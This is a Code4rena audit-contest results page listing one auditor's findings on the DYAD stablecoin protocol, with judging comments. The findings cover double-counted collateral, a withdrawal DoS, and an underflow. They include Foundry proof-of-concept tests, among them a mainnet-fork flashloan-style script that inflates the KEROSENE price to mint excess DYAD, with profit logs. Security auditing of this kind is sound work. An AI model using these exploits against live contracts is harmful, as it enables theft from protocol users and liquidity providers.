Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 60/183
Findings: 8
Award: $196.80
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Maroutis
Also found by: 0x486776, 0xShitgem, 0xabhay, 0xleadwizard, 0xlemon, 0xnilay, 0xtankr, 3docSec, AM, Aamir, Abdessamed, Al-Qa-qa, AlexCzm, Circolors, CodeWasp, Daniel526, Egis_Security, Emmanuel, Giorgio, Honour, Hueber, Infect3d, Krace, KupiaSec, LeoGold, Limbooo, PoeAudits, SBSecurity, SpicyMeatball, T1MOH, The-Seraphs, TheSavageTeddy, TheSchnilch, Topmark, VAD37, ZanyBonzy, adam-idarrha, bhilare_, btk, carlitox477, cinderblock, dimulski, falconhoof, grearlake, gumgumzum, iamandreiski, itsabinashb, josephdara, ke1caM, kennedy1030, ljj, n0kto, n4nika, neocrao, oakcobalt, petro_1912, pontifex, poslednaya, shaflow2, shikhar229169, web3km, ych18, zhaojohnson, zigtur
0.2831 USDC - $0.28
https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/KerosineManager.sol#L44-L51 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L269-L286 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L105-L106 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L88
TVL calculation: Total Collateral USD value = non-Kerosene vault deposit + KEROSINE vault deposit
User can borrow DYAD stable coin using non-Kerosene vault deposit as collateral.
If user deposit some KEROSINE token, it help user from liquidation. Because CollateralRatio using both nonKerosene and KEROSINE as collateral. While minting stable DYAD only use non-Kerosene vault like WETH vault.
The underlying problem with current codebase is KerosineManager
license consider non-Kerosene vault as Kerosene vault.
This result in: Total Collateral USD value = non-Kerosene vault deposit + non-Kerosene vault deposit
Non-Kerosene vault is calculated twice as collateral. User can exploit inflated CollateralRatio to twice value of "actual" CollateralRatio.
Preventing liquidation from happening with bad loan.
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../script/deploy/Deploy.V2.s.sol"; import { Licenser } from "../../src/core/Licenser.sol"; import { Parameters } from "../../src/params/Parameters.sol"; contract V2Test is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); vm.startPrank(MAINNET_OWNER); //include boundedKerosineVault contracts.vaultLicenser.add(address(contracts.boundedKerosineVault)); // Add vaultManagerV2 to v1 licenser so it can mint DYAD Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager)); vm.stopPrank(); } function testBorrowTwiceDeposit() public { address user = address(0x11111); vm.startPrank(user); deal(user, 100 ether); uint256 id = DNft(MAINNET_DNFT).mintNft{ value: 10 ether }(user); //@refunfed //setup vault VaultManagerV2 vaultManagerV2 = VaultManagerV2(contracts.vaultManager); ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max); vaultManagerV2.add(id, address(contracts.ethVault)); //deposit deal(MAINNET_WETH, user, 10 ether); vaultManagerV2.deposit(id, address(contracts.ethVault), 10 ether); //10 ETH with 3100$ price = 31000$ total TVL console.log("totalTVL %e", vaultManagerV2.getTotalUsdValue(id)); // borrow 6.66 ETH worth of DYAD. //max borrow = totalTVL / 1.5 uint maxBorrow = (vaultManagerV2.getTotalUsdValue(id) * 1e18 / 1.5e18) - 1; console.log("maxBorrow DYAD %e", maxBorrow); vaultManagerV2.mintDyad(id, maxBorrow ,user); console.log("collatRatio %e", vaultManagerV2.collatRatio(id)); console.log("add kerosene vault"); //after add kerosene vault. TVL now double. vaultManagerV2.addKerosene(id, address(contracts.ethVault)); console.log("totalTVL %e", vaultManagerV2.getTotalUsdValue(id)); //liquidation now impossible due to collatRatio just become double while debt stay the same. // collateral ratio is <100%. user profit from borrowing console.log("collatRatio %e", vaultManagerV2.collatRatio(id)); vm.stopPrank(); } }
Do not use KeroseneManager
as licenser.
Use sepatate Licenser.sol
contract.
KerosineManager
should only be used to calculate total TVL of non-kerosene Vault from both V1 and V2 vaults.
// src\core\VaultManagerV2.sol Licenser public immutable vaultLicenser; +++ Licenser public immutable keroseneVaultLicenser; function addKerosene( uint id, address vault ) external isDNftOwner(id) { if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults(); --- if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); +++ if (!keroseneVaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); }
// script\deploy\Deploy.V2.s.sol --- kerosineManager.add(address(ethVault)); --- kerosineManager.add(address(wstEth)); // use different licenser contract +++ Licenser keroseneVaultLicenser = new Licenser(); +++ keroseneVaultLicenser.add(address(ethVault)); +++ keroseneVaultLicenser.add(address(wstEth));
Math
#0 - c4-pre-sort
2024-04-27T17:24:32Z
JustDravee marked the issue as duplicate of #70
#1 - c4-pre-sort
2024-04-28T06:59:00Z
JustDravee marked the issue as not a duplicate
#2 - c4-pre-sort
2024-04-28T06:59:13Z
JustDravee marked the issue as duplicate of #966
#3 - c4-pre-sort
2024-04-29T08:38:01Z
JustDravee marked the issue as sufficient quality report
#4 - c4-judge
2024-05-04T09:46:27Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#5 - c4-judge
2024-05-28T15:28:39Z
koolexcrypto marked the issue as duplicate of #1133
#6 - c4-judge
2024-05-29T07:07:12Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: Maroutis
Also found by: 0x486776, 0xShitgem, 0xabhay, 0xleadwizard, 0xlemon, 0xnilay, 0xtankr, 3docSec, AM, Aamir, Abdessamed, Al-Qa-qa, AlexCzm, Circolors, CodeWasp, Daniel526, Egis_Security, Emmanuel, Giorgio, Honour, Hueber, Infect3d, Krace, KupiaSec, LeoGold, Limbooo, PoeAudits, SBSecurity, SpicyMeatball, T1MOH, The-Seraphs, TheSavageTeddy, TheSchnilch, Topmark, VAD37, ZanyBonzy, adam-idarrha, bhilare_, btk, carlitox477, cinderblock, dimulski, falconhoof, grearlake, gumgumzum, iamandreiski, itsabinashb, josephdara, ke1caM, kennedy1030, ljj, n0kto, n4nika, neocrao, oakcobalt, petro_1912, pontifex, poslednaya, shaflow2, shikhar229169, web3km, ych18, zhaojohnson, zigtur
0.2831 USDC - $0.28
https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L93-L96 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L165
This report consisted of 2 underlying issues:
VaultManagerV2
consider unbounded and bounded KeroseneVault as normal vault, $KEROSENE can be used as collateral for DYAD minting.Combine these two issues. It is possible to manipulate Kerosene price and mint free DYAD in flashloan attack.
Available flashloan exploit to mint free DYAD with current implementation.
The script below demonstrate flashloan attack on current mainnet condition if VaultManagerV2
is deployed.
Swapping 9 ETH for KEROSENE token on uniswap and make a small profit ranging from $100 to $70000. Including flashloan and swapping fee. Maybe profit reduce to $10000.
The profit will be double if boundedKerosene vault is accepted as collateral.
Script tested with foundry and fork_block_number=19722400
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../script/deploy/Deploy.V2.s.sol"; import { Licenser } from "../../src/core/Licenser.sol"; import { Parameters } from "../../src/params/Parameters.sol"; interface IUniswapRouterV2V3 { function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to ) external payable returns (uint256 amountOut); } contract V2Test is Test, Parameters { Contracts contracts; IUniswapRouterV2V3 uniswapV2Router = IUniswapRouterV2V3(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapRouterV2V3 uniswapV3Router = IUniswapRouterV2V3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45); function setUp() public { contracts = new DeployV2().run(); vm.startPrank(MAINNET_OWNER); //include boundedKerosineVault contracts.vaultLicenser.add(address(contracts.boundedKerosineVault)); // Add vaultManagerV2 to v1 licenser so it can mint DYAD Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager)); vm.stopPrank(); } function testKEROSENE() public { vm.startPrank(MAINNET_OWNER); //include 2 V1 vaults into keroseneManager so it calcualte TVL correctly. contracts.kerosineManager.add(address(MAINNET_WETH_VAULT)); contracts.kerosineManager.add(address(MAINNET_WSTETH_VAULT)); vm.stopPrank(); address user = address(0x11111); vm.startPrank(user); //buying new NFT ID deal(user, 10 ether); uint256 id = DNft(MAINNET_DNFT).mintNft{ value: 1 ether }(user); //@refunfed uint256 id2 = DNft(MAINNET_DNFT).mintNft{ value: 1 ether }(user); //@refunfed uint256 startingEthBalance = address(user).balance; //setup vault VaultManagerV2 vaultManagerV2 = VaultManagerV2(contracts.vaultManager); ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max); vaultManagerV2.add(id, address(contracts.ethVault)); vaultManagerV2.add(id2, address(contracts.ethVault)); vaultManagerV2.add(id, address(contracts.wstEth)); vaultManagerV2.add(id, address(contracts.unboundedKerosineVault)); // console.log("denominator %e", contracts.kerosineDenominator.denominator()); // console.log("ethVaultPrice %e", contracts.ethVault.assetPrice()); //3.2472e11 console.log("wstEthPrice %e", contracts.wstEth.assetPrice()); //3.79132877826e11 // we test use kerosine to make print unfair DYAD price // KEROSINE price is fixed when print. then it drop value when minted DYAD //using all available ethereum to to buy all possible KEROSENE on uniswapv2. { address[] memory path = new address[](2); path[0] = MAINNET_WETH; path[1] = MAINNET_KEROSENE; console.log("swap %e ETH for KEROSENE", startingEthBalance); uniswapV2Router.swapExactETHForTokens{ value: address(user).balance }( 0, path, address(user), block.timestamp + 100 ); uint256 keroseneBalance = ERC20(MAINNET_KEROSENE).balanceOf(user); console.log("KEROSENE receive %e", keroseneBalance); console.log( "KEROSENE USD price in UniswapV2: %e ", startingEthBalance * contracts.ethVault.assetPrice() * 1e18 / keroseneBalance / 1e8 ); ERC20(MAINNET_KEROSENE).approve(address(vaultManagerV2), type(uint256).max); vaultManagerV2.deposit(id, address(contracts.unboundedKerosineVault), keroseneBalance); } //get 8.6e23 = 860,000 KEROSENE //total KEROSENE is 50M // 1M $ in collateral //deposit huge amount of WETH as collateral and see how priced changed console.log("-------BEFORE DEPOSIT--------"); console.log("KEROSENE vault price: %e", contracts.unboundedKerosineVault.assetPrice()); console.log("DNFT only KEROSENE total USD value: %e", vaultManagerV2.getTotalUsdValue(id)); // KEROSINE price not depend on KERO deposit into vault. Only WETH and wstETH affect price. // the more WETH deposit into vault, the more KEROSINE price increase. the more DYAD can be printed. // if user deposit 1 million $ WETH deposit. KEROSINE price worth double uniswap price. //TVL is $1,696,647 , 500 ether ~$1,500,000 //deposit 500 WETH will barely make a profit // deal(MAINNET_WETH, user, 500 ether); //deposit 2500 WETH to demonstrate flashloan profit deal(MAINNET_WETH, user, 2500 ether); ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max); //deposit 100 WETH into vault ID 2 to prevent mixing with vault ID 1 vaultManagerV2.deposit(id2, address(contracts.ethVault), ERC20(MAINNET_WETH).balanceOf(user)); console.log("-------AFTER WETH DEPOSIT--------"); console.log("KEROSENE vault price: %e", contracts.unboundedKerosineVault.assetPrice()); console.log("DNFT only KEROSENE total USD value: %e", vaultManagerV2.getTotalUsdValue(id)); //$KEROSENE price got pumped up //collateral with KEROSENE only also rise too // try mint DYAD to maximum collateral value // cannot mint DYAD 66.67% collateral because post mint also have collateral ratio check too // post mint also affect collateral ratio. console.log("-------MINTING DYAD--------"); uint256 maxMint = vaultManagerV2.getTotalUsdValue(id) * 1e18 / 1.55e18; console.log("try minting %e DYAD", maxMint); vaultManagerV2.mintDyad(id, maxMint, user); console.log("after mint collateral ratio %e", vaultManagerV2.collatRatio(id)); // vaultManagerV2.mintDyad(id2, vaultManagerV2.getTotalUsdValue(id2) * 1e18 / 1.51e18, address(this)); // console.log("after mint collateral ratio %e", vaultManagerV2.collatRatio(id2)); console.log("-------AFTER MINTING--------"); console.log("KEROSENE vault price: %e", contracts.unboundedKerosineVault.assetPrice()); console.log("DNFT only KEROSENE total USD value: %e", vaultManagerV2.getTotalUsdValue(id)); console.log("DYAD balance: %e", ERC20(MAINNET_DYAD).balanceOf(user)); console.log( "loan %e WETH worth %e USD for %e DYAD", startingEthBalance, startingEthBalance * contracts.ethVault.assetPrice() / 1e8, ERC20(MAINNET_DYAD).balanceOf(user) ); console.log("profit: %e", ERC20(MAINNET_DYAD).balanceOf(user) - startingEthBalance * contracts.ethVault.assetPrice() / 1e8); vm.stopPrank(); } }
Running 1 test for test/fork/v2.t.sol:V2Test [PASS] testKEROSENE() (gas: 2139922) Logs: ethVaultPrice 3.2363699761e11 wstEthPrice 3.75558974096e11 swap 8.739e18 ETH for KEROSENE KEROSENE receive 8.0615515923329408428214e23 KEROSENE USD price in UniswapV2: 3.5083366889367209e16 -------BEFORE DEPOSIT-------- unbounded TVL: 1.696647466962235650916396e24 DYAD totalSupply: 6.329674e23 KEROSENE vault price: 2.163796e6 unbounded TVL: 1.696647466962235650916396e24 DYAD totalSupply: 6.329674e23 DNFT only KEROSENE total USD value: 1.7443553089283648063933e22 -------AFTER WETH DEPOSIT-------- unbounded TVL: 9.787572407212235650916396e24 DYAD totalSupply: 6.329674e23 KEROSENE vault price: 1.86228e7 unbounded TVL: 9.787572407212235650916396e24 DYAD totalSupply: 6.329674e23 DNFT only KEROSENE total USD value: 1.50128662993697890727694e23 -------MINTING DYAD-------- unbounded TVL: 9.787572407212235650916396e24 DYAD totalSupply: 6.329674e23 try minting 9.6857201931417994017867e22 DYAD unbounded TVL: 9.787572407212235650916396e24 DYAD totalSupply: 6.329674e23 unbounded TVL: 9.787572407212235650916396e24 DYAD totalSupply: 7.29824601931417994017867e23 cr after mint: 1.533600768949889382e18 unbounded TVL: 9.787572407212235650916396e24 DYAD totalSupply: 7.29824601931417994017867e23 after mint collateral ratio 1.533600768949889382e18 -------AFTER MINTING-------- unbounded TVL: 9.787572407212235650916396e24 DYAD totalSupply: 7.29824601931417994017867e23 KEROSENE vault price: 1.8425768e7 unbounded TVL: 9.787572407212235650916396e24 DYAD totalSupply: 7.29824601931417994017867e23 DNFT only KEROSENE total USD value: 1.48540279360357346727551e23 DYAD balance: 9.6857201931417994017867e22 loan 8.739e18 WETH worth 2.82826372211379e22 USD for 9.6857201931417994017867e22 DYAD profit: 6.8574564710280094017867e22
Vault allow user to deposit NonKeroseneValue assets token to mint DYAD. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L165
Deployments script add unbounded and bounded Kerosene Vault as normal vault. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L93-L96
This meant, user can deposit $KEROSENE to mint DYAD.
$KEROSENE price = (TVL - DYAD supply) / KEROSENE in circulation.
KEROSENE in circulation
is cannot be easily manipulated.
TVL
can be increase by deposit WETH into Vault V1 or Vault V2.
TVL - DYAD supply
can be decrease by minting more DYAD.
Simply by deposit lots of WETH. price of KEROSENE will shoot up. Buy cheap value KEROSENE and with over-inflated price mint more DYAD.
Do both of these:
function mintDyad(//@borrow uint id, uint amount, address to ) external isDNftOwner(id) { uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount; --- if (getNonKeroseneValue(id) < newDyadMinted) revert NotEnoughExoCollat(); dyad.mint(id, to, amount); /// @audit move check after because KEROSINE price affected by minting new DYAD. getNonKeroseneValue() not supposed to hold KEROSENE. but just in case. +++ if (getNonKeroseneValue(id) < newDyadMinted) revert NotEnoughExoCollat(); uint cr = collatRatio(id); if (cr < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); emit MintDyad(id, amount, to); }
Math
#0 - c4-pre-sort
2024-04-29T05:44:02Z
JustDravee marked the issue as duplicate of #966
#1 - c4-pre-sort
2024-04-29T08:38:01Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-04T09:46:27Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - VAD37
2024-05-16T03:03:26Z
This issue completely unrelated to #966 and not "Duplicate" of any High and Med issues currently listed in post Judging phase.
While this issue is poorly explained but it provide complete proof under mainnet fork condition. Showing exploiter can inflate $KEROSENE price and mint $DYAD against this collateral.
Stealing money from UniswapV2 KEROSENE/WETH and UniswapV3 DYAD/USDC. Then reduce $KEROSENE price to original value. Exploiter get away with minting more DYAD than collateral worth. Leaving users provide liquidity in Uniswap to take the loss.
#4 - VAD37
2024-05-16T03:22:23Z
Here are revised summary of how above proof work for clarity.
Using same mechanism to manipulate $KEROSENE price as seen in selected report #67
KerosenePrice = (TVL - dyadSupply) / keroseneSupply
To inflate price, exploiter have to increase TVL by depositing lots of WETH into VaultManagerV1
or VaultManagerV2
.
Because V1 does not have flashloan protection, this allow flashloan attack without having lots of WETH on hand.
The above code run with fork_block_number=19722400
Using fomular KerosenePrice = (TVL - dyadSupply) / keroseneSupply
:
VaultManagerV2
oracle Kerosene price. 1 USDC ~= 0.030 KEROSENE
1 USDC ~= 0.033 KEROSENE
By flashloan/depositing 100 WETH, which is the same amount as current TVL. TVL is doubled, Kerosene price is doubled too.
Exploiter get some KEROSENE from uniswap pool, deposit into vault and mint maximum DYAD against this. The amount of DYAD minted is worth 1.5x more than original KEROSENE collateral value.
Then withdraw 100 WETH to repay flashloan, $Kerosene price drop back "lower" than original value because there is more dyadSupply
.
Exploiter collateral health now <66% because of Kerosene price drop and profit from minting DYAD which can now be swapped to USDC for profit.
#5 - VAD37
2024-05-16T03:41:42Z
On second look, There is another issue that need to unbundle from this issue and should be fixed.
Minting new DYAD affects the Kerosene price. Therefore, any collateral checks should happen after the minting process.
Currently there are two collateral check:
if (getNonKeroseneValue(id) < newDyadMinted) revert NotEnoughExoCollat();
if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow();
One check is performed before DYAD minted as seen here
uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount; if (getNonKeroseneValue(id) < newDyadMinted) revert NotEnoughExoCollat(); dyad.mint(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow();
It is unclear whether the project author intended for getNonKeroseneValue() to include Kerosene. Currently, getNonKeroseneValue() also includes Kerosene tokens.
#6 - koolexcrypto
2024-05-29T08:43:43Z
Thank you for your input.
After reviewing it, I still believe this is a dup of #1133
#7 - c4-judge
2024-05-29T08:43:52Z
koolexcrypto removed the grade
#8 - c4-judge
2024-05-29T08:43:58Z
koolexcrypto marked the issue as not a duplicate
#9 - c4-judge
2024-05-29T08:44:06Z
koolexcrypto marked the issue as duplicate of #1133
#10 - c4-judge
2024-05-29T11:22:20Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0x175, 0x486776, 0x77, 0xAkira, 0xAsen, 0xDemon, 0xabhay, 0xblack_bird, 0xlemon, 0xloscar01, 0xtankr, 3docSec, 4rdiii, Abdessamed, AlexCzm, Angry_Mustache_Man, BiasedMerc, Circolors, Cryptor, DMoore, DPS, DedOhWale, Dinesh11G, Dots, GalloDaSballo, Giorgio, Honour, Imp, Jorgect, Krace, KupiaSec, Mrxstrange, NentoR, Pechenite, PoeAudits, Ryonen, SBSecurity, Sabit, T1MOH, TheFabled, TheSavageTeddy, Tychai0s, VAD37, Vasquez, WildSniper, ZanyBonzy, adam-idarrha, alix40, asui, blutorque, btk, c0pp3rscr3w3r, caglankaan, carrotsmuggler, d_tony7470, dimulski, dinkras, djxploit, falconhoof, forgebyola, grearlake, imare, itsabinashb, josephdara, kartik_giri_47538, ke1caM, kennedy1030, koo, lionking927, ljj, niser93, pep7siup, poslednaya, ptsanev, sashik_eth, shaflow2, steadyman, turvy_fuzz, ubl4nk, valentin_s2304, web3km, xyz, y4y, zhaojohnson, zigtur
0.0234 USDC - $0.02
https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L143 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L127
VaultManagerV2.deposit()
allow anyone to deposit to any NFT account.
New flashloan protection prevent user from deposit and withdrawal from same block. This also allow anyone to DOS withdrawal by frontrun deposit 0 token before withdrawal transaction.
With current DANCUN gas price 10gwei. It cost ~0.2$ to DOS withdrawal. Because there is only active 300 DNFT in circulation, 300 user can make withdrawal. It is quite cheap to make DOS attacks just for annoying people.
This test was used to get DOS minimum 4000 gas figure.
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../script/deploy/Deploy.V2.s.sol"; import { Licenser } from "../../src/core/Licenser.sol"; import { Parameters } from "../../src/params/Parameters.sol"; contract VaultTest { function asset() external view returns (address) { return address(this); } function transferFrom(address from, address to, uint256 value) external returns (bool) { return true; } function deposit(uint256 id, uint256 amount) external { } } contract V2Test is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); } function testGasCostDeposit() public { address user = address(0x11111); vm.startPrank(user); //buying new NFT ID deal(user, 100 ether); uint256 id = DNft(MAINNET_DNFT).mintNft{ value: 10 ether }(user); //@refunfed //setup vault VaultManagerV2 vaultManagerV2 = VaultManagerV2(contracts.vaultManager); vaultManagerV2.add(id, address(contracts.ethVault)); ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max); deal(MAINNET_WETH, user, 10 ether); vaultManagerV2.deposit(id, address(contracts.ethVault), 10 ether); VaultTest vaultTest = new VaultTest(); uint gas_before = gasleft(); vaultManagerV2.deposit(id, address(vaultTest), 0); uint gas_after = gasleft(); console.log("gas cost %e", gas_before - gas_after); //@ 3.976e3 gas vm.stopPrank(); } }
Include unique minimum deposit in each vault. Admin should be allowed to change this. Vault will revert if deposit amount is too small.
Or timelock withdrawal work pretty well.
contract Vault is IVault { uint public MINIMUM_DEPOSIT; function deposit( uint id, uint amount ) external onlyVaultManager { require(amount >= MINIMUM_DEPOSIT, "deposit too small"); id2asset[id] += amount; emit Deposit(id, amount); } function updateMinimumDeposit(uint amount) public { require(msg.sender == vaultManager.vaultLicenser().owner()); MINIMUM_DEPOSIT = amount; }
DoS
#0 - c4-pre-sort
2024-04-27T11:47:33Z
JustDravee marked the issue as duplicate of #489
#1 - c4-pre-sort
2024-04-29T09:28:43Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T20:38:15Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-05T20:39:24Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T21:28:51Z
koolexcrypto marked the issue as nullified
#5 - c4-judge
2024-05-05T21:28:57Z
koolexcrypto marked the issue as not nullified
#6 - c4-judge
2024-05-08T15:28:07Z
koolexcrypto marked the issue as duplicate of #1001
#7 - c4-judge
2024-05-11T19:50:17Z
koolexcrypto marked the issue as satisfactory
#8 - c4-judge
2024-05-13T18:34:30Z
koolexcrypto changed the severity to 3 (High Risk)
🌟 Selected for report: 0xAlix2
Also found by: 0x486776, 0xabhay, 0xlucky, 0xtankr, Abdessamed, Circolors, CodeWasp, DarkTower, Egis_Security, Giorgio, Infect3d, Krace, KupiaSec, Limbooo, Maroutis, NentoR, Ryonen, SpicyMeatball, T1MOH, TheFabled, TheSavageTeddy, TheSchnilch, VAD37, XDZIBECX, btk, carrotsmuggler, cu5t0mpeo, dimulski, gumgumzum, iamandreiski, imare, itsabinashb, ke1caM, kennedy1030, lian886, n4nika, oakcobalt, sashik_eth, shaflow2, steadyman, web3km, windhustler, zhaojohnson
3.8221 USDC - $3.82
The underlying issue is V2 Unbounded vault price calculation not include V1 vaults TVL. This broke logic rule describe here: https://dyadstable.notion.site/KEROSENE-Equations-Final-8655c83e0b7d44f883b9a99f499866c3
Incorrect Kerosene price calculated using only V2 vaults TVL. This cause several issues:
collatRatio()
revert when V2 vault TVL smaller than DYAD totalSupply.UnboundedKerosineVault.assetPrice()
always underflow at this line:
uint numerator = tvl - dyad.totalSupply();
tvl
= total deposit USD value in WETH vault and wstVault
dyad.totalSupply()
= total minted DYAD stablecoin from both VaultManager
V1 and V2
There is already 600,000 DYAD token minted from V1.
So user must deposit 600,000$ worth of WETH or wstETH into VaultManagerV2
vaults. Just so Kerosene calculation not underflow.
Vaults array loop only through latest V2 vaults.
https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L74-L75
KerosineManager
did not add V1 vaults address. So it can't calculate total TVL correctly.
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../script/deploy/Deploy.V2.s.sol"; import { Licenser } from "../../src/core/Licenser.sol"; import { Parameters } from "../../src/params/Parameters.sol"; contract V2Test is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); vm.startPrank(MAINNET_OWNER); //include boundedKerosineVault contracts.vaultLicenser.add(address(contracts.boundedKerosineVault)); // Add vaultManagerV2 to v1 licenser so it can mint DYAD Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager)); vm.stopPrank(); } function testDenominator() public { address user = address(0x11111); vm.startPrank(user); //buying new NFT ID deal(user, 100 ether); uint256 id = DNft(MAINNET_DNFT).mintNft{ value: 10 ether }(user); //@refunfed //setup vault VaultManagerV2 vaultManagerV2 = VaultManagerV2(contracts.vaultManager); ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max); vaultManagerV2.add(id, address(contracts.ethVault)); vaultManagerV2.add(id, address(contracts.wstEth)); //388 WETH inside V1 vault. so new vault must have 400 ETH before it can be run. uint256 wethPrice = (contracts.ethVault.assetPrice() * 1e18) / 1e8; uint256 totalDYAD = Dyad(MAINNET_DYAD).totalSupply(); uint256 minimumETH = (totalDYAD / wethPrice) * 1e18; console.log("minimum ETH for Kerosine vault to work %e", minimumETH); deal(MAINNET_WETH, user, minimumETH + 10 ether); uint256 depositAmount = minimumETH + 1e1; vaultManagerV2.deposit(id, address(contracts.ethVault), depositAmount); //197 ETH with 3100$ price = 610700$ total TVL console.log("totalTVL %e", vaultManagerV2.getTotalUsdValue(id)); vaultManagerV2.addKerosene(id, address(contracts.ethVault)); vaultManagerV2.addKerosene(id, address(contracts.wstEth)); console.log("totalTVL %e", vaultManagerV2.getTotalUsdValue(id)); //@audit try withdrawal will just fail vm.roll(block.number + 1); vaultManagerV2.withdraw(id, address(contracts.ethVault), 0,user); console.log("collatRatio %e", vaultManagerV2.collatRatio(id)); console.log("denominator %e", contracts.kerosineDenominator.denominator()); console.log("ethVaultPrice %e", contracts.ethVault.assetPrice()); console.log("wstEthPrice %e", contracts.wstEth.assetPrice()); //@audit this fail console.log("unboundedAssetPrice %e", contracts.unboundedKerosineVault.assetPrice()); console.log("boundedAssetPrice %e", contracts.boundedKerosineVault.assetPrice()); vm.stopPrank(); } }
If KerosineManager only include V2 Vaults. Exploiter can use V1 vaults to mint lots DYAD. This increase DYAD totalSupply while TVL stay the same. KerosineManager price of KEROSENE will just drop to zero if there is enough DYAD minted. Causing KEROSENE vault collateral on V2 price drop significantly. Allowing liquidation of everyone who use KEROSENE as collateral. Refund DYAD and repay flashloan and profit.
Kerosine asset price should be moved to its own custom oracle that track all vaults. From both v1 and v2 vaults
KeroseneManager
should not be used as Licenser contract.
Separate Licenser logic from KerosineManager work better.
Under/Overflow
#0 - c4-pre-sort
2024-04-29T08:08:17Z
JustDravee marked the issue as duplicate of #308
#1 - c4-pre-sort
2024-04-29T09:05:04Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T20:08:52Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: 0xAlix2
Also found by: 0x175, 0x486776, 0xnev, 3docSec, 3th, Aamir, Abdessamed, AlexCzm, Angry_Mustache_Man, Circolors, DedOhWale, Emmanuel, Giorgio, Honour, Jorgect, KupiaSec, Maroutis, Myrault, SBSecurity, Stefanov, T1MOH, VAD37, Vasquez, adam-idarrha, alix40, ducanh2706, falconhoof, iamandreiski, ke1caM, kennedy1030, koo, lian886, ljj, miaowu, pontifex, sashik_eth, shikhar229169, vahdrak1
7.3026 USDC - $7.30
CollateralRatio = (total nonKerosene Vault value + total Kerosene Vault value) / $DYAD debt
Non-KeroseneVault is accepted for minting DYAD stablecoin with 100% of collateral value. KeroseneVault cannot be used to mint stablecoin but it can be used as extra collateral, so total collateral is above 150% threshold for loan.
But Liquidator can only take all assets from nonKerosene Vault. So if Kerosene Vault value worth more than 33% of total collateral value, liquidation will not profitable. Because, Debt > Non-KeroseneVault value
No one have incentive to liquidate bad vault loan if user deposit lots of Kerosene vault token.
Liquidation check if CollateralRatio is less than 150%. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L213
